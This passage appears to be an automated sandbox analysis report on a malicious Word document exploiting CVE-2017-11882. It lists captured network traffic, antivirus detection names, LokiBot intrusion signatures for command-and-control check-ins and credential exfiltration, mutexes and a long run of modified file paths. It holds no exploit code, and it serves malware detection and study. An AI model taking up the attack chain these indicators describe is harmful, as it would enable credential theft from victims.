5\\x91\\xb56\\x17\\xdb4\\x1f\\xbe\\xaf0#\\xa8\\x8e\\xe7\\x19\\x0b^\\xb2q\\x12\\xee\\x19\\x95\\xea:%vd\\xf1|v\\xb2wj_\\x17\t\\xda\\xbc\"k\\xec\t\\x1a\\x8c\\x06\\xa5s\\x86\\xfe\\xbc\\xc2&\\x1e\\xb1h\\xc9\\xf5\\x95\\xf60\\x86x\\x91\\x08i\\xca\\xb4q\\xde\\xf7bqx\\xcdi%\\x1bk\\xc7gz\\x0c\\xb6k\\xdd\\x98%h\\x0c\\xfe\\x8c\\x05\\xf7\\xe4"
  779.  
  780.  
  781. "http_request": "winword.exe_WSASend_get /pki/crl/products/microsoftrootcert.crl http/1.1\r\nconnection: keep-alive\r\naccept: */*\r\nif-modified-since: thu, 07 mar 2019 06:00:16 gmt\r\nuser-agent: microsoft-cryptoapi/6.1\r\nhost: crl.microsoft.com\r\n\r\n"
  782.  
  783.  
  784. "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00\\x7f\\x01\\x00\\x00\\x03\\x019_\\xee\\xb5\\xb2\\x88\\xd3h\\x8e\\x84\\xc2e\\x07t\\x01\\x98\\xddr\\x9b\\xc7%@\\x0f\\xd9f\\xbcq\\xf6m\\xefq\\x00\\x00\\x18\\x00/\\x005\\x00\\x05\\x00\n\\xc0\\x13\\xc0\\x14\\xc0\t\\xc0\n\\x002\\x008\\x00\\x13\\x00\\x04\\x01\\x00\\x00:\\xff\\x01\\x00\\x01\\x00\\x00\\x00\\x00!\\x00\\x1f\\x00\\x00\\x1cactivation.sls.microsoft.com\\x00\n\\x00\\x06\\x00\\x04\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00"
  785.  
  786.  
  787. "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x01\\x06\\x10\\x00\\x01\\x02\\x01\\x00\n\\xaf\\xba|\\x8a\\xd8\\x07\\xfa\\xcf\\x08\\x076\\xfb+\\x7fe.\\xf9\\xaf\tc\\xf4j\\x05moh\\x9f\\xcd\\xd8\\xa6\\x02\\x87\"x\\xa9\\x8c\\xb3kro\\x92\\xe3\\xc3\\x13\\x82\\xe5/u$`o\\x83\\xc8\\x1c\\xd0\\xc6\\x84\\x1f\\x11\\x98\\x008*g\\xd7;\\xcdj\\x94\\x91d\\x1a\\x15b\\x8d\\xf5_\\xe3\\xc5.\\xed\\xd2!\\x02a\"\\xab\\xe4g\\x8c\\x9db\\xd5w\\xf1^(\\xd2\\x0c\\xc2\\xcc\\x1acm\\x96\\xa3\\x12\\x0by\\xa3*\\xd0\\xe6\\x8e8\\x95_ow\\xac\\x11j\\xcb\\xaf\\xf6\\x9b\\x19a\\x9d\\xaby\\x8e\\x1e\\xaa\\x1c\\xfe(\\xd0 ,\\xdd\\x08e\\x8f\\x945\\xc0\\x81\\x11\\x1c\\x00\\\\xe8\\x8b\\x0c\\xe1ux\\xdd\\x8fm+\\x9f\\x82*p\\xf6\\x8e\\x96\\xd4\\xe8\\x1by\\xeefu(l\\xce>\\xc0fq\\x0f@&ycv\\xc6\\x92\\x04\\xb7\\xe5\\x04\\xf0\\xa7ws\\xcdc^\\x08uo\\xab\\xcf\\x85\\xb7c\\x82\\x94>\\x0b)y\\x9c\\xd4\\x1fz\\xfc\\xffl%\\xd3\\xae\\xbe\\xdf\n\\x055\\x9dz0\\xe1\\x0e\\x95\\xba\\xf3c\\xf2"
  788.  
  789.  
  790. "http_request": "winword.exe_WSASend_\\x17\\x03\\x01\\x01`\\x7f6\\xc9\\x90\\x83\\x94j\\xd0\\x19\\xdb\\xbdq1\\\\x17\\xeb\\x82\\x8c\\xb0\\xc1\\x03o\\xb2\\xba\\x99\\x16\\xd8<\\xb4\\xb0\\xdd\\xba\\xe1*\\xd2\\x1b^\\xec3\\x91\\xa8\\xf9\\xff\\xff\\xe0v\\xa7m\\xaf\\xf2m\\x10g\\xbc\\xb4\\xf7 \\xd2\\x8b\\xf99\\xd4.\\x0c\\xaebi\\xc6\\x1f\\xda\\x1c(o\\xbbe\\xe9\\xe4\\xf2xv\\xd1\\xfat\\xa0,o\\xfa\\xf4;\\xea/b\\xf5l\\x0c\\x1e\\xe0\\xe6r\\xbf6\\xf5w\\x9d\\xa6\\xb4=qu\\x83zj\\xfd\\x08e\"\\x14w\\xd9\\xbc'\\x94nm\\xce\\xed\\xe6\\xf0\\xd9\\xac\\xc9#\\xae6e\\x15\\xb9\\xe84\\xaf\\x85\\xb1%\\x1bk\\x05e\\xdcy\\xa57i\\x87;\\x11\\xca$\\x88yr\\og\\x13yqf\\xfb\\xf5\\x03\\x01$\\x07\\x90\\xbbl\\xbf\\xcfk0\\xd8\\xe9\\x8fz.\\x02s\\xc5\\xfe\\x1e~lo\\xd0\\xcewy\\xa4\n\\xfc\\xf5\\xb2(\\xfe\\xbc\\xc2\\x1b\\xac\\x9c\\xe3\\xcd\\xbb\\x14\\xc0\\xeej+\\x97<\\x9c\\x8d\\xeej\\xa9\\xb9\\xd7\\x84x\\xa7&\\xe4\\x07\\x8d\\xe0\\xa9\\x1ek\\x17\\xa9\\xder\\xd8\\xae\\x15\\x91\\x12\\x11\\xa5d\\xd4"
  791.  
  792.  
  793. "http_request": "winword.exe_WSASend_\\x17\\x03\\x019p\\x7f=\\xb2\\x88\\xa8f5\\xc0l\\xe2\\xdbke\\xdfxn*k \\xc8y\\xac\\x1b.\\xda\\xb3\\xdepu\\x16d\\xearv\\x1f\\xb3z&\\x98\\x1e\\xb1\\xaa\\xad\\xf6\\xd6n\\xd8\\x10\\x88\\x02r\\x7f!\\xb5\\xafb5\\x83\\x07\\xb9v\rt\\xaf,h\\xcfz\\x02@+h\\xb8z\\x06\\xef\\xe4\\xf2\\xde\\x9f\n?vvp\\x1f\\xf5\\x0c\\x1d\\xa04mx\\xf6\\x1db-f\\xce~w<?\\x87\\xa6m\\xf8\\xc4\\x98\\xb6c\\x15r\\xf4\\xef\\x06\\x8ej\\xf0\\x92\\x0c\\x7f\\xa1\\xeb\\x89\\xce8\\xfc3\\xe4\\xe3\\x8fs\\xa0&\\x8dr\\xd77\\xf1\\xc911\\xdb\\xe6f\\xcd\\x9cl\\xb3\\xd4\\xf3\\xa0;\\xec\\xe1\"\\xdc\\x15\\xadrnjt6y\\xe8\\x0cqu`\\xdf;\\xea\\x00\\x9d\\xd2\\xd7$qi\\x01er\\x10\\x93\\x9be_\r\\x1d?\\x97\\xe9\\xcc\\x99=\\xa6\\xd4\\x1d\\x14\\x02+g\\xec\\xabf<\\xbdn\\xd83,\\xcd&s\\x9a\\xbe\\x118\n\\xf7j\\xc4\\x9f\\xa5\\x18\\x03z\\x7f\\xf9\t#i\\xc8\\x81z\\x12\\xe7\\x83\\xa7\\xe9\\xbf\\x17\\xcbb\\x9e"
  794.  
  795.  
  796. "http_request": "winword.exe_WSASend_get /pki/crl/products/microsoftrootcert.crl http/1.1\r\nconnection: keep-alive\r\naccept: */*\r\nif-modified-since: wed, 22 may 2019 05:00:43 gmt\r\nuser-agent: microsoft-cryptoapi/6.1\r\nhost: crl.microsoft.com\r\n\r\n"
  797.  
  798.  
  799.  
  800.  
  801. "Description": "Creates a hidden or system file",
  802. "Details":
  803.  
  804. "file": "C:\\Users\\user\\AppData\\Roaming\\Microsoft\\Word\\~WRL0001.tmp"
  805.  
  806.  
  807. "file": "C:\\Users\\user\\AppData\\Local\\Temp\\~WRL0003.tmp"
  808.  
  809.  
  810.  
  811.  
  812. "Description": "File has been identified by 29 Antiviruses on VirusTotal as malicious",
  813. "Details":
  814.  
  815. "MicroWorld-eScan": "Exploit.CVE-2017-11882.Gen"
  816.  
  817.  
  818. "FireEye": "Exploit.CVE-2017-11882.Gen"
  819.  
  820.  
  821. "McAfee": "Exploit-CVE2017-11882.bu"
  822.  
  823.  
  824. "Arcabit": "Exploit.CVE-2017-11882.Gen"
  825.  
  826.  
  827. "Cyren": "CVE-2017-11882.C.gen!Camelot"
  828.  
  829.  
  830. "Symantec": "Exp.CVE-2017-11882!g3"
  831.  
  832.  
  833. "ESET-NOD32": "probably a variant of Win32/Exploit.CVE-2017-11882.A"
  834.  
  835.  
  836. "Avast": "Win32:ShellCode Expl"
  837.  
  838.  
  839. "Kaspersky": "HEUR:Exploit.MSOffice.Generic"
  840.  
  841.  
  842. "BitDefender": "Exploit.CVE-2017-11882.Gen"
  843.  
  844.  
  845. "Rising": "Exploit.CVE-2017-11882!1.B40D (CLASSIC)"
  846.  
  847.  
  848. "Ad-Aware": "Exploit.CVE-2017-11882.Gen"
  849.  
  850.  
  851. "Emsisoft": "Exploit.CVE-2017-11882.Gen (B)"
  852.  
  853.  
  854. "F-Secure": "Exploit:W97M/CVE-2017-0199.B"
  855.  
  856.  
  857. "DrWeb": "Exploit.ShellCode.69"
  858.  
  859.  
  860. "McAfee-GW-Edition": "Exploit-CVE2017-11882.bu"
  861.  
  862.  
  863. "Sophos": "Troj/RtfExp-EQ"
  864.  
  865.  
  866. "Avira": "EXP/CVE-2017-11882.Gen"
  867.  
  868.  
  869. "Microsoft": "Trojan:O97M/Obfuse.AE"
  870.  
  871.  
  872. "ZoneAlarm": "HEUR:Exploit.MSOffice.Generic"
  873.  
  874.  
  875. "GData": "Exploit.CVE-2017-11882.Gen (2x)"
  876.  
  877.  
  878. "AhnLab-V3": "OLE/Cve-2017-11882.Gen"
  879.  
  880.  
  881. "ALYac": "Exploit.CVE-2017-11882.Gen"
  882.  
  883.  
  884. "MAX": "malware (ai score=94)"
  885.  
  886.  
  887. "Zoner": "Probably W97NativeOnly"
  888.  
  889.  
  890. "TACHYON": "Trojan-Exploit/RTF.CVE-2017-11882"
  891.  
  892.  
  893. "Fortinet": "MSOffice/CVE_2017_11882.A!exploit"
  894.  
  895.  
  896. "AVG": "Win32:ShellCode Expl"
  897.  
  898.  
  899. "Qihoo-360": "virus.exp.21711882.d"
  900.  
  901.  
  902.  
  903.  
  904. "Description": "Created network traffic indicative of malicious activity",
  905. "Details":
  906.  
  907. "signature": "ET TROJAN LokiBot User-Agent (Charon/Inferno)"
  908.  
  909.  
  910. "signature": "ET TROJAN LokiBot Checkin"
  911.  
  912.  
  913. "signature": "ET TROJAN LokiBot Request for C2 Commands Detected M2"
  914.  
  915.  
  916. "signature": "ET TROJAN LokiBot Request for C2 Commands Detected M1"
  917.  
  918.  
  919. "signature": "ET TROJAN LokiBot Application/Credential Data Exfiltration Detected M1"
  920.  
  921.  
  922. "signature": "ET TROJAN LokiBot Application/Credential Data Exfiltration Detected M2"
  923.  
  924.  
  925.  
  926.  
  927.  
  928. * Started Service:
  929. "osppsvc"
  930.  
  931.  
  932. * Mutexes:
  933. "Local\\2BF388D5-6F8C-40A0-A7EE-996D005C4E14_Office15",
  934. "Global\\MTX_MSO_Formal1_S-1-5-21-0000000000-0000000000-0000000000-1000",
  935. "Global\\MTX_MSO_AdHoc1_S-1-5-21-0000000000-0000000000-0000000000-1000",
  936. "5CAC3FAB-87F0-4750-984D-D50144543427-VER15",
  937. "CicLoadWinStaWinSta0",
  938. "Local\\MSCTF.CtfMonitorInstMutexDefault1",
  939. "Global\\552FFA80-3393-423d-8671-7BA046BB5906",
  940. "Global\\MsoShellExtRegAccess_S-1-5-21-0000000000-0000000000-0000000000-1000",
  941. "Local\\F99C425F-9135-43ed-BD7D-396DE488DC53"
  942.  
  943.  
  944. * Modified Files:
  945. "C:\\Users\\user\\AppData\\Local\\Temp\\Docs_b9c011303fce33699fc868354d5a8e61.doc",
  946. "C:\\Users\\user\\AppData\\Local\\Temp\\~$cs_b9c011303fce33699fc868354d5a8e61.doc",
  947. "C:\\Users\\user\\AppData\\Local\\Microsoft\\Office\\15.0\\WebServiceCache\\AllUsers\\office15client.microsoft.com\\config15--lcid=1033&syslcid=1033&uilcid=1033&build=15.0.4569&crev=10",
  948. "C:\\Users\\user\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Content.Word\\~WRF09B73E57-414C-4908-9170-CB45E0674C17.tmp",
  949. "C:\\Users\\user\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\6BADA8974A10C4BD62CC921D13E43B18_88614FFAD35D353421B8A7E1FE18FCE4",
  950. "C:\\Users\\user\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\6BADA8974A10C4BD62CC921D13E43B18_88614FFAD35D353421B8A7E1FE18FCE4",
  951. "C:\\Users\\user\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\37D958F0157C4E87D39A5E7FAB3AECCC_090773D7F9DBE1D85BCB60985361F32E",
  952. "C:\\Users\\user\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\37D958F0157C4E87D39A5E7FAB3AECCC_090773D7F9DBE1D85BCB60985361F32E",
  953. "C:\\Users\\user\\AppData\\Local\\Temp\\Cab715A.tmp",
  954. "C:\\Users\\user\\AppData\\Local\\Temp\\Tar715B.tmp",
  955. "C:\\Users\\user\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Content.Word\\~WRSC9847CE2-24DC-47FE-B4A8-F3CF0F17E5C1.tmp",
  956. "C:\\Users\\user\\AppData\\Roaming\\Microsoft\\Word\\AutoRecovery save of Docs_b9c011303fce33699fc868354d5a8e61.asd",
  957. "C:\\Users\\user\\AppData\\Roaming\\Microsoft\\Word\\~WRD0000.tmp",
  958. "C:\\Users\\user\\AppData\\Roaming\\Microsoft\\Word\\~WRL0001.tmp",
  959. "C:\\Users\\user\\AppData\\Local\\Temp\\~DF417CE63A0348084E.TMP",
  960. "C:\\Users\\user\\AppData\\Local\\Temp\\cab9251.tmp",
  961. "C:\\Users\\user\\AppData\\Local\\Temp\\cab9271.tmp",
  962. "C:\\Users\\user\\AppData\\Local\\Temp\\cab9272.tmp",
  963. "C:\\Users\\user\\AppData\\Local\\Temp\\cab92B2.tmp",
  964. "C:\\Users\\user\\AppData\\Local\\Temp\\cab92C2.tmp",
  965. "C:\\Users\\user\\AppData\\Local\\Temp\\cab9302.tmp",
  966. "C:\\Users\\user\\AppData\\Local\\Temp\\cab9341.tmp",
  967. "C:\\Users\\user\\AppData\\Local\\Temp\\cab9354.tmp",
  968. "C:\\Users\\user\\AppData\\Local\\Temp\\cab9365.tmp",
  969. "C:\\Users\\user\\AppData\\Local\\Temp\\cab9353.tmp",
  970. "C:\\Users\\user\\AppData\\Local\\Temp\\cab9342.tmp",
  971. "C:\\Users\\user\\AppData\\Local\\Temp\\cab93C4.tmp",
  972. "C:\\Users\\user\\AppData\\Local\\Temp\\cab9366.tmp",
  973. "C:\\Users\\user\\AppData\\Local\\Temp\\cab93D7.tmp",
  974. "C:\\Users\\user\\AppData\\Local\\Temp\\cab93D5.tmp",
  975. "C:\\Users\\user\\AppData\\Local\\Temp\\cab93D6.tmp",
  976. "C:\\Users\\user\\AppData\\Local\\Temp\\cab9437.tmp",
  977. "C:\\Users\\user\\AppData\\Local\\Temp\\cab9476.tmp",
  978. "C:\\Users\\user\\AppData\\Local\\Temp\\cab9487.tmp",
  979. "C:\\Users\\user\\AppData\\Local\\Temp\\cab9488.tmp",
  980. "C:\\Users\\user\\AppData\\Local\\Temp\\cab9489.tmp",
  981. "C:\\Users\\user\\AppData\\Local\\Temp\\cab948A.tmp",
  982. "C:\\Users\\user\\AppData\\Local\\Temp\\cab949C.tmp",
  983. "C:\\Users\\user\\AppData\\Local\\Temp\\cab949D.tmp",
  984. "C:\\Users\\user\\AppData\\Local\\Temp\\cab94AD.tmp",
  985. "C:\\Users\\user\\AppData\\Local\\Temp\\cab94AE.tmp",
  986. "C:\\Users\\user\\AppData\\Local\\Temp\\cab949B.tmp",
  987. "C:\\Users\\user\\AppData\\Local\\Temp\\cab9407.tmp",
  988. "C:\\Users\\user\\AppData\\Local\\Temp\\cab94CF.tmp",
  989. "C:\\Users\\user\\AppData\\Local\\Temp\\cab94D0.tmp",
  990. "C:\\Users\\user\\AppData\\Local\\Temp\\cab94CE.tmp",
  991. "C:\\Users\\user\\AppData\\Local\\Temp\\cab94D1.tmp",
  992. "C:\\Users\\user\\AppData\\Local\\Temp\\cab9659.tmp",
  993. "C:\\Users\\user\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\696F3DE637E6DE85B458996D49D759AD",
  994. "C:\\Users\\user\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\696F3DE637E6DE85B458996D49D759AD",
  995. "C:\\Users\\user\\AppData\\Local\\Temp\\cab99E4.tmp",
  996. "C:\\Users\\user\\AppData\\Local\\Temp\\cab9A24.tmp",
  997. "C:\\Users\\user\\AppData\\Local\\Temp\\cab9AE0.tmp",
  998. "C:\\Users\\user\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\7396C420A8E1BC1DA97F1AF0D10BAD21",
  999. "C:\\Users\\user\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\7396C420A8E1BC1DA97F1AF0D10BAD21",
  1000. "C:\\Users\\user\\AppData\\Local\\Temp\\cab9BBC.tmp",
  1001. "C:\\Users\\user\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\F90F18257CBB4D84216AC1E1F3BB2C76",
  1002. "C:\\Users\\user\\AppData\\Local\\Temp\\cab9D54.tmp",
  1003. "C:\\Users\\user\\AppData\\Local\\Temp\\Cab9D15.tmp",
  1004. "C:\\Users\\user\\AppData\\Local\\Temp\\cab9E02.tmp",
  1005. "C:\\Users\\user\\AppData\\Local\\Temp\\cab9EC1.tmp",
  1006. "C:\\Users\\user\\AppData\\Local\\Temp\\Tar9D84.tmp",
  1007. "C:\\Users\\user\\AppData\\Local\\Temp\\TCD9E80.tmp\\content.inf",
  1008. "C:\\Users\\user\\AppData\\Local\\Temp\\TCD9EE1.tmp\\gb.xsl",
  1009. "C:\\Users\\user\\AppData\\Local\\Temp\\TCD9EC0.tmp\\content.inf",
  1010. "C:\\Users\\user\\AppData\\Local\\Temp\\cabA195.tmp",
  1011. "C:\\Users\\user\\AppData\\Local\\Temp\\cabA1C5.tmp",
  1012. "C:\\Users\\user\\AppData\\Local\\Temp\\TCDA0A9.tmp\\content.inf",
  1013. "C:\\Users\\user\\AppData\\Local\\Temp\\TCDA06A.tmp\\pictureorgchart.glox",
  1014. "C:\\Users\\user\\AppData\\Local\\Temp\\TCDA0A9.tmp\\Dividend.thmx",
  1015. "C:\\Users\\user\\AppData\\Local\\Temp\\TCD9E80.tmp\\Frame.thmx",
  1016. "C:\\Users\\user\\AppData\\Local\\Temp\\cabA2D2.tmp",
  1017. "C:\\Users\\user\\AppData\\Local\\Temp\\cabA2F2.tmp",
  1018. "C:\\Users\\user\\AppData\\Local\\Temp\\TCDA137.tmp\\content.inf",
  1019. "C:\\Users\\user\\AppData\\Local\\Temp\\TCD9FFB.tmp\\harvardanglia2008officeonline.xsl",
  1020. "C:\\Users\\user\\AppData\\Local\\Temp\\TCD9EE1.tmp\\Content.inf",
  1021. "C:\\Users\\user\\AppData\\Local\\Temp\\TCD9EC0.tmp\\View.thmx",
  1022. "C:\\Users\\user\\AppData\\Local\\Temp\\cabA51C.tmp",
  1023. "C:\\Users\\user\\AppData\\Local\\Temp\\cabA52D.tmp",
  1024. "C:\\Users\\user\\AppData\\Local\\Temp\\CabA54D.tmp",
  1025. "C:\\Users\\user\\AppData\\Local\\Temp\\TCDA224.tmp\\Banded.thmx",
  1026. "C:\\Users\\user\\AppData\\Local\\Temp\\TCDA137.tmp\\Quotable.thmx",
  1027. "C:\\Users\\user\\AppData\\Local\\Temp\\TCDA341.tmp\\ThemePictureGrid.glox",
  1028. "C:\\Users\\user\\AppData\\Local\\Temp\\TCDA47E.tmp\\RadialPictureList.glox",
  1029. "C:\\Users\\user\\AppData\\Local\\Temp\\TCDA06A.tmp\\Content.inf",
  1030. "C:\\Users\\user\\AppData\\Local\\Temp\\TCDA371.tmp\\HexagonRadial.glox",
  1031. "C:\\Users\\user\\AppData\\Local\\Temp\\cabA9D6.tmp",
  1032. "C:\\Users\\user\\AppData\\Local\\Temp\\cabA9D7.tmp",
  1033. "C:\\Users\\user\\AppData\\Local\\Temp\\TCDA372.tmp\\Equations.dotx",
  1034. "C:\\Users\\user\\AppData\\Local\\Temp\\TCDA4CD.tmp\\Crop.thmx",
  1035. "C:\\Users\\user\\AppData\\Local\\Temp\\TCDA264.tmp\\ThemePictureAlternatingAccent.glox",
  1036. "C:\\Users\\user\\AppData\\Local\\Temp\\TCDA977.tmp\\gosttitle.xsl",
  1037. "C:\\Users\\user\\AppData\\Local\\Temp\\TCDA59E.tmp\\content.inf",
  1038. "C:\\Users\\user\\AppData\\Local\\Temp\\TCDA59D.tmp\\Headlines.thmx",
  1039. "C:\\Users\\user\\AppData\\Local\\Temp\\TCDA341.tmp\\Content.inf",
  1040. "C:\\Users\\user\\AppData\\Local\\Temp\\TCDA47E.tmp\\Content.inf",
  1041. "C:\\Users\\user\\AppData\\Local\\Temp\\TarA54E.tmp",
  1042. "C:\\Users\\user\\AppData\\Local\\Temp\\CabAC2A.tmp",
  1043. "C:\\Users\\user\\AppData\\Local\\Temp\\TCDA383.tmp\\Badge.thmx",
  1044. "C:\\Users\\user\\AppData\\Local\\Temp\\TCDA372.tmp\\Content.inf",
  1045. "C:\\Users\\user\\AppData\\Local\\Temp\\TCD9FFB.tmp\\Content.inf",
  1046. "C:\\Users\\user\\AppData\\Local\\Temp\\TCDA383.tmp\\Content.inf",
  1047. "C:\\Users\\user\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\15\\Managed\\SmartArt Graphics\\1033\\TM03328935fn=Picture Organization Chart.glox",
  1048. "C:\\Users\\user\\AppData\\Local\\Temp\\TCDA977.tmp\\Content.inf",
  1049. "C:\\Users\\user\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\15\\Managed\\Word Document Bibliography Styles\\TM02851218fn=gb.xsl",
  1050. "C:\\Users\\user\\AppData\\Local\\Temp\\TCDA224.tmp\\content.inf",
  1051. "C:\\Users\\user\\AppData\\Local\\Temp\\TCDA4CD.tmp\\Content.inf",
  1052. "C:\\Users\\user\\AppData\\Local\\Temp\\TarACB8.tmp",
  1053. "C:\\Users\\user\\AppData\\Local\\Temp\\TCDA371.tmp\\Content.inf",
  1054. "C:\\Users\\user\\AppData\\Local\\Temp\\cabB13E.tmp",
  1055. "C:\\Users\\user\\AppData\\Local\\Temp\\TCDA264.tmp\\Content.inf",
  1056. "C:\\Users\\user\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\15\\Managed\\Document Themes\\1033\\TM03457515fn=View.thmx",
  1057. "C:\\Users\\user\\AppData\\Local\\Temp\\TCDA59E.tmp\\Parallax.thmx",
  1058. "C:\\Users\\user\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\15\\Managed\\SmartArt Graphics\\1033\\TM03328986fn=Theme Picture Grid.glox",
  1059. "C:\\Users\\user\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\15\\Managed\\Document Themes\\1033\\TM03457464fn=Dividend.thmx",
  1060. "C:\\Users\\user\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\15\\Managed\\Word Document Bibliography Styles\\TM02851220fn=gosttitle.xsl",
  1061. "C:\\Users\\user\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\15\\Managed\\Document Themes\\1033\\TM03457475fn=Frame.thmx",
  1062. "C:\\Users\\user\\AppData\\Local\\Temp\\TCDADE1.tmp\\content.inf",
  1063. "C:\\Users\\user\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\15\\Managed\\Document Themes\\1033\\TM10001105fn=Crop.thmx",
  1064. "C:\\Users\\user\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\15\\Managed\\SmartArt Graphics\\1033\\TM03328983fn=Theme Picture Alternating Accent.glox",
  1065. "C:\\Users\\user\\AppData\\Local\\Temp\\TCDA59D.tmp\\Content.inf",
  1066. "C:\\Users\\user\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\15\\Managed\\SmartArt Graphics\\1033\\TM03328940fn=Radial Picture List.glox",
  1067. "C:\\Users\\user\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\15\\Managed\\Word Document Bibliography Styles\\TM02851221fn=harvardanglia2008officeonline.xsl",
  1068. "C:\\Users\\user\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\15\\Managed\\Document Themes\\1033\\TM03090430fn=Banded.thmx",
  1069. "C:\\Users\\user\\AppData\\Local\\Temp\\TCDB3DF.tmp\\mlaseventheditionofficeonline.xsl",
  1070. "C:\\Users\\user\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\15\\Managed\\Document Themes\\1033\\TM10001106fn=Badge.thmx",
  1071. "C:\\Users\\user\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\15\\Managed\\Document Themes\\1033\\TM03457503fn=Quotable.thmx",
  1072. "C:\\Users\\user\\AppData\\Local\\Temp\\TCDB577.tmp\\ieee2006officeonline.xsl",
  1073. "C:\\Users\\user\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\15\\Managed\\SmartArt Graphics\\1033\\TM03328919fn=Hexagon Radial.glox",
  1074. "C:\\Users\\user\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\15\\Managed\\Word Document Building Blocks\\1033\\TM01840907fn=Equations.dotx",
  1075. "C:\\Users\\user\\AppData\\Local\\Temp\\TCDB576.tmp\\InterconnectedBlockProcess.glox",
  1076. "C:\\Users\\user\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\15\\Managed\\Document Themes\\1033\\TM03457496fn=Parallax.thmx",
  1077. "C:\\Users\\user\\AppData\\Local\\Temp\\TCDB5D8.tmp\\Feathered.thmx",
  1078. "C:\\Users\\user\\AppData\\Local\\Temp\\TCDB5C6.tmp\\ThemePictureAccent.glox",
  1079. "C:\\Users\\user\\AppData\\Local\\Temp\\cabBD60.tmp",
  1080. "C:\\Users\\user\\AppData\\Local\\Temp\\TCDB5C7.tmp\\TabbedArc.glox",
  1081. "C:\\Users\\user\\AppData\\Local\\Temp\\TCDB5E8.tmp\\iso690.xsl",
  1082. "C:\\Users\\user\\AppData\\Local\\Temp\\TCDB7ED.tmp\\architecture.glox",
  1083. "C:\\Users\\user\\AppData\\Local\\Temp\\TCDADE1.tmp\\Slate.thmx",
  1084. "C:\\Users\\user\\AppData\\Local\\Temp\\TCDB7EF.tmp\\gostname.xsl",
  1085. "C:\\Users\\user\\AppData\\Local\\Temp\\TCDB7EE.tmp\\ConvergingText.glox",
  1086. "C:\\Users\\user\\AppData\\Local\\Temp\\TCDB84F.tmp\\rings.glox",
  1087. "C:\\Users\\user\\AppData\\Local\\Temp\\TCDB8AD.tmp\\APASixthEditionOfficeOnline.xsl",
  1088. "C:\\Users\\user\\AppData\\Local\\Temp\\TCDB83E.tmp\\content.inf",
  1089. "C:\\Users\\user\\AppData\\Local\\Temp\\TCDB3DF.tmp\\Content.inf",
  1090. "C:\\Users\\user\\AppData\\Local\\Temp\\TCDB8CE.tmp\\Basis.thmx",
  1091. "C:\\Users\\user\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\15\\Managed\\Document Themes\\1033\\TM10001103fn=Headlines.thmx",
  1092. "C:\\Users\\user\\AppData\\Roaming\\Microsoft\\UProof\\CUSTOM.DIC",
  1093. "C:\\Users\\user\\AppData\\Local\\Temp\\TCDBA65.tmp\\PictureFrame.glox",
  1094. "C:\\Users\\user\\AppData\\Local\\Temp\\TCDBA85.tmp\\chevronaccent.glox",
  1095. "C:\\Users\\user\\AppData\\Local\\Temp\\TCDBA96.tmp\\content.inf",
  1096. "C:\\Users\\user\\AppData\\Local\\Temp\\TCDBA97.tmp\\Text Sidebar (Annual Report Red and Black design).docx",
  1097. "C:\\Users\\user\\AppData\\Local\\Temp\\TCDBB56.tmp\\CircleProcess.glox",
  1098. "C:\\Users\\user\\AppData\\Local\\Temp\\TCDBAA8.tmp\\content.inf",
  1099. "C:\\Users\\user\\AppData\\Local\\Temp\\TCDBB55.tmp\\chicago.xsl",
  1100. "C:\\Users\\user\\AppData\\Local\\Temp\\TCDBC15.tmp\\Element design set.dotx",
  1101. "C:\\Users\\user\\AppData\\Local\\Temp\\TCDBB55.tmp\\Content.inf",
  1102. "C:\\Users\\user\\AppData\\Local\\Temp\\TCDBBB5.tmp\\Circuit.thmx",
  1103. "C:\\Users\\user\\AppData\\Local\\Temp\\TCDB576.tmp\\Content.inf",
  1104. "C:\\Users\\user\\AppData\\Local\\Temp\\TCDB577.tmp\\Content.inf",
  1105. "C:\\Users\\user\\AppData\\Local\\Temp\\TCDB5C7.tmp\\Content.inf",
  1106. "C:\\Users\\user\\AppData\\Local\\Temp\\TCDBC75.tmp\\sist02.xsl",
  1107. "C:\\Users\\user\\AppData\\Local\\Temp\\cabC215.tmp",
  1108. "C:\\Users\\user\\AppData\\Local\\Temp\\TCDBBE5.tmp\\VaryingWidthList.glox",
  1109. "C:\\Users\\user\\AppData\\Local\\Temp\\TCDB5D8.tmp\\Content.inf",
  1110. "C:\\Users\\user\\AppData\\Local\\Temp\\TCDB5C6.tmp\\Content.inf",
  1111. "C:\\Users\\user\\AppData\\Local\\Temp\\TCDBC74.tmp\\iso690nmerical.xsl",
  1112. "C:\\Users\\user\\AppData\\Local\\Temp\\TCDB7EF.tmp\\Content.inf",
  1113. "C:\\Users\\user\\AppData\\Local\\Temp\\TCDB7ED.tmp\\Content.inf",
  1114. "C:\\Users\\user\\AppData\\Local\\Temp\\TCDB7EE.tmp\\Content.inf",
  1115. "C:\\Users\\user\\AppData\\Local\\Temp\\TCDB5E8.tmp\\Content.inf",
